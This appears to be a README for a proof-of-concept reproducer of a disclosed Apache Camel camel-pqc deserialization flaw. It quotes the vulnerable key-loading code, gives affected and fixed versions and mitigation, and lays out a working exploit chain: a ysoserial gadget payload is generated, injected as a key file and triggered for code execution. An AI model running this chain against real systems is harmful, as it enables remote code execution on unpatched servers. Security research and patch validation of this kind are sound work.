
Reproducer for CVE-2026-40048: Apache Camel camel-pqc FileBasedKeyLifecycleManager unsafe deserialization (RCE)
This project demonstrates a Java deserialization vulnerability in Apache Camel's camel-pqc
component, tracked as CVE-2026-40048. FileBasedKeyLifecycleManager reads <keyId>.key files
from the configured key directory with a raw ObjectInputStream and no ObjectInputFilter, so an
attacker who can write to that directory can achieve remote code execution.
Advisory: https://camel.apache.org/security/CVE-2026-40048.html
| Property | Value |
|---|---|
| Component | camel-pqc |
| Affected Class | org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| Impact | Remote Code Execution (RCE) |
| Affected Versions | From 4.18.0 before 4.18.2, and from 4.19.0 before 4.20.0 |
| Fixed Versions | 4.18.2, 4.20.0 |
| JIRA | CAMEL-23200 |
| Reporters | Andrea Cosentino (ASF), Venkatraman Kumar (Securin) |
FileBasedKeyLifecycleManager persists post-quantum keys as serialized Java objects in
<keyDir>/<keyId>.key. Loading a key deserializes that file with a raw ObjectInputStream, and the
cast to KeyPair happens only after readObject() returns:
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId); // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
KeyPair keyPair = (KeyPair) ois.readObject(); // NO ObjectInputFilter — gadget runs before the cast
...
}
An attacker who can write to the key directory — through path traversal, misconfigured volume permissions, a compromised key-provisioning pipeline, or a symlink attack — can plant a crafted serialized object that executes during a normal key-lifecycle load.
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
<keyId>.keycurl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"
docker exec cve-2026-40048 ls -la /tmp/pwned
docker compose down
getKey() is called during normal key-lifecycle operations (signing/verification key retrieval,
rotation checks, etc.), so any load of an attacker-planted <keyId>.key triggers deserialization.
FileBasedKeyLifecycleManager (shared/misconfigured
volume, path traversal, compromised provisioning, symlink).commons-collections:3.2.1).The ObjectInputStream-in-key-store pattern was addressed more broadly afterwards:
Upgrade to 4.18.2 / 4.20.0. The fix replaces ObjectInputStream-based storage with standard PKCS#8
(private key) / X.509 SubjectPublicKeyInfo (public key) Base64 JSON encoding.
Until upgrading:
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ └── ExploitController.java # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
└── resources/
└── application.properties
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.